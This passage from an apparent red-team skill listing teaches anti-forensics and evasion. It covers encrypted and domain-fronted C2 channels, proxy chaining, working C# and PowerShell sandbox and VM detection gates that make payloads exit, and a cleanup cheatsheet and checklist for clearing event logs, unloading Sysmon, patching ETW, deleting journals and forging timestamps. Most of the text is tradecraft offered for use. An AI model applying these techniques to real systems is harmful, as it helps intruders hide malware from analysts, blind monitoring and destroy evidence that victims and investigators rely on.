Network captures, flow records, DNS logs, and proxy logs reveal C2 traffic,
lateral movement, and data exfiltration patterns. The goal is encrypted,
blended, or tunneled traffic that is indistinguishable from legitimate activity.

### 6.1 Encrypted C2 Channels

```yaml
# TLS 1.3 for C2 — provides forward secrecy and encrypted handshake
# Modern C2 frameworks (Cobalt Strike, Sliver, Havoc) all support TLS

# DNS-over-HTTPS for DNS-based C2 resolution
# Prevents DNS query logging at the network level
doh_resolvers:
  - https://cloudflare-dns.com/dns-query
  - https://dns.google/dns-query
  - https://dns.quad9.net/dns-query

# WireGuard tunnel for C2 encapsulation
# Lightweight, fast, looks like standard UDP traffic
# Configure WireGuard on attacker and compromise host
```

### 6.2 Domain Fronting

Route C2 traffic through a trusted CDN so the visible TLS SNI shows a
high-reputation domain while the HTTP Host header directs traffic to your
C2 server.

```
# Concept:
# TLS ClientHello SNI: legitimate.cdn-provider.com (what network monitors see)
# HTTP Host header: c2.attacker.com (where CDN actually routes the request)
# Network forensics sees traffic to a trusted CDN, not to your infrastructure

# Common CDN targets: Azure CDN, CloudFront (partially blocked), Fastly, Cloudflare
# Requires that the CDN does not enforce SNI-Host matching
```

### 6.3 Legitimate Service C2 Channels

```bash
# Use legitimate services as C2 channels — blends with normal traffic
# GitHub: store commands in repo commits/issues, exfil via repo content
# Slack/Teams: bot-based C2 via webhook or API
# Google Docs/Sheets: read commands from shared document
# Dropbox/OneDrive: file-based command exchange
# Pastebin: command storage and retrieval
# DNS: TXT record queries for command delivery
```

### 6.4 Proxy Chain Obfuscation

```bash
# Multi-hop proxying to defeat traffic correlation
# Tor → VPN → target (triple layer)
proxychains4 -f /etc/proxychains.conf curl http://target

# ProxyChains configuration for multi-hop
# /etc/proxychains.conf:
# chain_len = 3
# proxy_dns
# [ProxyList]
# socks5 127.0.0.1 9050    # Tor
# socks5 proxy1.example 1080
# socks5 proxy2.example 1080

# SSH tunnel chaining
ssh -J hop1@proxy1,hop2@proxy2 target@destination
```

### 6.5 Packet Timestamp Awareness

```bash
# Network captures include packet timestamps that correlate with log events
# If you manipulated log timestamps, ensure network captures (if available)
# don't contradict your forged timeline
# Encrypted traffic protects content but not timing metadata
# Use jittered sleep intervals to avoid periodic callback patterns
```

---

## 7. ANTI-VM AND SANDBOX DETECTION

Malware sandboxes and forensic analysis VMs exhibit detectable hardware,
software, timing, and behavioral characteristics. Embedding these checks
in payloads prevents execution in analysis environments.

### 7.1 Hardware Fingerprinting

```csharp
using System;
using System.Management;
using System.Diagnostics;

public static class SandboxDetector {
    public static bool IsVirtual() {
        // CPU core count (sandboxes often allocate 1-2 cores)
        if (Environment.ProcessorCount < 2) return true;

        // RAM check (sandboxes often allocate < 4GB)
        using (var cs = new ManagementObjectSearcher("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem")) {
            foreach (var item in cs.Get()) {
                long ram = Convert.ToInt64(item["TotalPhysicalMemory"]);
                if (ram < 4L * 1024 * 1024 * 1024) return true;  // < 4GB
            }
        }

        // Disk size check (sandboxes often < 60GB)
        using (var ds = new ManagementObjectSearcher("SELECT Size FROM Win32_DiskDrive")) {
            foreach (var item in ds.Get()) {
                long size = Convert.ToInt64(item["Size"]);
                if (size < 60L * 1024 * 1024 * 1024) return true;  // < 60GB
            }
        }

        // Manufacturer / model check
        using (var ms = new ManagementObjectSearcher("SELECT Manufacturer,Model FROM Win32_ComputerSystem")) {
            foreach (var item in ms.Get()) {
                string mfg = (item["Manufacturer"]?.ToString() ?? "").ToLower();
                string mdl = (item["Model"]?.ToString() ?? "").ToLower();
                if (mfg.Contains("vmware") || mfg.Contains("virtual") ||
                    mfg.Contains("xen") || mfg.Contains("qemu") ||
                    mdl.Contains("virtual") || mdl.Contains("vmware"))
                    return true;
            }
        }

        return false;
    }
}
```

### 7.2 VM Process and Service Detection

```powershell
# Check for VM-specific processes
$vmProcesses = @(
    "vmtoolsd", "vmwaretray", "vmwareuser",   # VMware
    "VBoxService", "VBoxTray",                  # VirtualBox
    "xenservice",                                # Xen
    "qemu-ga",                                   # QEMU
    "prl_tools", "prl_cc"                        # Parallels
)
$running = Get-Process | Where-Object { $vmProcesses -contains $_.Name }
if ($running) { Write-Output "VM detected: $($running.Name -join ', ')"; exit }

# Check for VM-specific services
$vmServices = @("VMTools", "VBoxService", "xenevtchn", "QEMU*")
foreach ($svc in $vmServices) {
    if (Get-Service -Name $svc -ErrorAction SilentlyContinue) {
        Write-Output "VM service detected: $svc"; exit
    }
}
```

### 7.3 Registry VM Indicators

```powershell
# VMware registry keys
$vmwareKeys = @(
    "HKLM:\SOFTWARE\VMware, Inc.\VMware Tools",
    "HKLM:\SYSTEM\CurrentControlSet\Services\VMTools",
    "HKLM:\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"
)

# VirtualBox registry keys
$vboxKeys = @(
    "HKLM:\SOFTWARE\Oracle\VirtualBox Guest Additions",
    "HKLM:\SYSTEM\CurrentControlSet\Services\VBoxGuest",
    "HKLM:\HARDWARE\ACPI\DSDT\VBOX__"
)

foreach ($key in ($vmwareKeys + $vboxKeys)) {
    if (Test-Path $key) { Write-Output "VM registry detected: $key"; exit }
}
```

### 7.4 MAC Address OUI Check

```powershell
# VM network adapters use known OUI prefixes
$vmOUI = @(
    "00:0C:29", "00:50:56", "00:05:69",   # VMware
    "08:00:27",                             # VirtualBox
    "00:1C:42",                             # Parallels
    "00:16:3E",                             # Xen
    "52:54:00"                              # QEMU/KVM
)
$macs = Get-NetAdapter | Select-Object -ExpandProperty MacAddress
foreach ($mac in $macs) {
    $prefix = $mac.Substring(0, 8)
    if ($vmOUI -contains $prefix) { Write-Output "VM NIC OUI: $prefix"; exit }
}
```

### 7.5 Timing-Based Sandbox Detection

```csharp
// Sandboxes often accelerate sleep calls to speed up analysis
// Measure actual elapsed time vs requested sleep duration
var sw = Stopwatch.StartNew();
Thread.Sleep(2000);  // request 2 seconds
sw.Stop();
if (sw.ElapsedMilliseconds < 1900) {
    // Sleep was accelerated — likely a sandbox
    Environment.Exit(0);
}
```

```csharp
// RDTSC timing check
// Sandboxes introduce overhead in instruction execution timing
// Two consecutive RDTSC reads should be close; large gaps indicate VM
// (Implementation requires P/Invoke or inline assembly)
```

### 7.6 User Interaction Checks

```powershell
# Check for recent user activity (sandboxes have no real users)
$recentDocs = (Get-ChildItem "$env:APPDATA\Microsoft\Windows\Recent" -ErrorAction SilentlyContinue).Count
$desktopFiles = (Get-ChildItem "$env:USERPROFILE\Desktop" -ErrorAction SilentlyContinue).Count
$downloads = (Get-ChildItem "$env:USERPROFILE\Downloads" -ErrorAction SilentlyContinue).Count

if ($recentDocs -lt 5 -and $desktopFiles -lt 3 -and $downloads -lt 3) {
    # Minimal user activity — likely sandbox
    exit
}

# Check for browser history / cookies (real users have them)
$chromeHistory = Test-Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History"
$firefoxProfile = Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles"
if (!$chromeHistory -and !$firefoxProfile) { exit }

# Mouse movement check (real users move their mouse)
Add-Type -AssemblyName System.Windows.Forms
$pos1 = [System.Windows.Forms.Cursor]::Position
Start-Sleep -Seconds 10
$pos2 = [System.Windows.Forms.Cursor]::Position
if ($pos1.X -eq $pos2.X -and $pos1.Y -eq $pos2.Y) { exit }
```

### 7.7 System Uptime and Domain Check

```powershell
# Recently booted systems may be sandboxes
$uptime = (Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
if ($uptime.TotalMinutes -lt 10) { exit }

# Sandboxes are typically not domain-joined
$domain = (Get-CimInstance Win32_ComputerSystem).PartOfDomain
if (!$domain) {
    # Not domain-joined — may be sandbox (context-dependent)
    # In enterprise red team, targets are usually domain-joined
}

# Check for realistic hostname (sandboxes often use generic names)
$hostname = $env:COMPUTERNAME
if ($hostname -match "^(WIN-|DESKTOP-|PC|SANDBOX|MALWARE|VIRUS|SAMPLE)" ) { exit }
```

### 7.8 Combined Sandbox Gate

```csharp
// Composite check — require multiple indicators before proceeding
public static bool PassesSandboxGate() {
    int score = 0;
    if (Environment.ProcessorCount >= 2) score++;
    if (GetPhysicalMemory() >= 4L * 1024 * 1024 * 1024) score++;
    if (GetDiskSize() >= 60L * 1024 * 1024 * 1024) score++;
    if (!HasVMProcesses()) score++;
    if (GetUptime().TotalMinutes > 30) score++;
    if (HasUserActivity()) score++;
    if (!HasVMRegistryKeys()) score++;
    if (SleepTimingAccurate()) score++;

    // Require at least 6 of 8 checks to pass
    return score >= 6;
}
```

---

## 8. DEFENDER VIEW — WHAT FORENSIC ANALYSTS DETECT

Understanding what defenders look for helps you evaluate the completeness
of your cleanup.

| Artifact | Defender Detection Method | Your Countermeasure |
|----------|--------------------------|---------------------|
| Event ID 1102 | Monitors for log-cleared events | Use Phant0m (no clearing event generated) |
| Event ID 104 | System log records any log clearing | Clear System log last |
| SI vs FN timestamp mismatch | MFT analysis reveals timestomp | Use SetMACE to modify both attributes |
| Sysmon Event ID 2 | FileCreateTime change detection | Unload Sysmon before timestomping |
| USN Journal gaps | Journal absence or recent creation date | Delete journal after all file operations |
| Zero-byte log files | Recent mtime + empty content = truncation | Leave some benign entries, don't zero entirely |
| Missing shell history | .bash_history absent or recently zeroed | Kill shell with -9 to prevent flush |
| ETW patch detection | Scan ntdll for RET at EtwEventWrite | Use patchless approaches (VEH) where possible |
| Prefetch/Shimcache | Records survive executable deletion | Delete prefetch entries, fill shimcache |
| ADS discovery | Streams.exe / Get-Item -Stream * | Remove ADS before engagement cleanup |
| Memory artifacts | Volatility framework analysis | Sleep encryption, reflective loading, process hollowing |
| Network timing | Statistical analysis of callback intervals | High jitter (50%+), variable sleep, legitimate-traffic blending |

---

## 9. ENGAGEMENT CLEANUP CHEATSHEET

```text
PLATFORM    ARTIFACT                 TECHNIQUE                           MITRE
---------------------------------------------------------------------------
Windows     Event logs               wevtutil cl / Phant0m              T1070.001
Windows     PowerShell logs          Script block logging bypass        T1070.001
Windows     Sysmon                   Unload driver / blind config       T1562.001
Windows     ETW telemetry            Patch EtwEventWrite                T1562.001
Windows     Timestamps               SetMACE (SI+FN) / PowerShell      T1070.006
Windows     USN Journal              fsutil usn deletejournal           T1070.008
Windows     Files                    sdelete / cipher /w                T1070.004
Windows     ADS payloads             Remove-Item -Stream                T1564.004
Windows     Prefetch                 Delete .pf files in Prefetch dir   T1070.004
Windows     WMI subscriptions        Remove __EventFilter + bindings    T1070
Windows     Command history          Remove PSReadline history          T1070.003
Windows     Credentials in memory    Avoid disk dump / scrub handles    T1070.004
Linux       syslog/auth.log          sed selective removal              T1070.002
Linux       journal                  journalctl --vacuum-time=1s        T1070.002
Linux       utmp/wtmp/btmp           utmpdump edit + reconvert          T1070.002
Linux       lastlog                  Zero UID record via Python         T1070.002
Linux       auditd                   auditctl -e 0 / truncate log      T1070.002
Linux       bash history             unset HISTFILE / kill -9 $$        T1070.003
Linux       Timestamps               touch -r / debugfs ctime           T1070.006
Linux       Files                    shred -u                           T1070.004
Both        Memory                   Sleep encryption / reflective load T1027
Both        Network                  TLS 1.3 / DoH / domain fronting   T1573
Both        Sandbox                  Composite VM/sandbox gate          T1497.001
```

---

## 10. VALIDATION CHECKLIST

```
PRE-OPERATION
- [ ] Surveyed logging infrastructure on target
- [ ] Identified active ETW providers and Sysmon configuration
- [ ] Identified log forwarding destinations (SIEM, remote syslog)
- [ ] Planned evidence manipulation sequence

DURING OPERATION
- [ ] Blinded telemetry sources before executing payloads
- [ ] Used in-memory execution where possible
- [ ] Applied sleep encryption for persistent implants
- [ ] Encrypted all C2 traffic

POST-OPERATION
- [ ] Manipulated timestamps on all touched files (SI + FN if possible)
- [ ] Cleaned USN Journal and $LogFile
- [ ] Edited event logs (Phant0m or selective removal)
- [ ] Cleaned Sysmon logs
- [ ] Removed PowerShell script block log entries
- [ ] Cleaned WMI event subscriptions
- [ ] Edited Linux text logs (syslog, auth, messages)
- [ ] Cleaned binary login records (utmp/wtmp/btmp/lastlog)
- [ ] Cleaned systemd journal
- [ ] Scrubbed shell history (bash, PowerShell, Python, MySQL)
- [ ] Removed all dropped files or overwrote with secure deletion
- [ ] Cleaned ADS attachments
- [ ] Removed prefetch and shimcache entries
- [ ] Verified cleanup against forensic analyst checklist

DOCUMENTED
- [ ] All evidence manipulation actions logged in engagement report
- [ ] Timestamps of all cleanup actions recorded
- [ ] Blue team provided with artifact inventory for baseline reconstruction
```

---

## Key References

- MITRE ATT&CK T1070 — Indicator Removal: https://attack.mitre.org/techniques/T1070/
- MITRE ATT&CK T1027 — Obfuscated Files or Information: https://attack.mitre.org/techniques/T1027/
- MITRE ATT&CK T1497 — Virtualization/Sandbox Evasion: https://attack.mitre.org/techniques/T1497/
- MITRE ATT&CK T1562 — Impair Defenses: https://attack.mitre.org/techniques/T1562/
- MITRE ATT&CK T1564 — Hide Artifacts: https://attack.mitre.org/techniques/T1564/
- Invoke-Phant0m: https://github.com/hlldz/Invoke-Phant0m
- SetMACE: https://github.com/jschicht/SetMACE
- SDelete (Sysinternals): https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete
- SANS Digital Forensics: https://www.sans.org/digital-forensics-incident-response/
- Volatility Framework: https://github.com/volatilityfoundation/volatility3
- Sleep Encryption (Ekko): https://github.com/Cracked5pider/Ekko

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.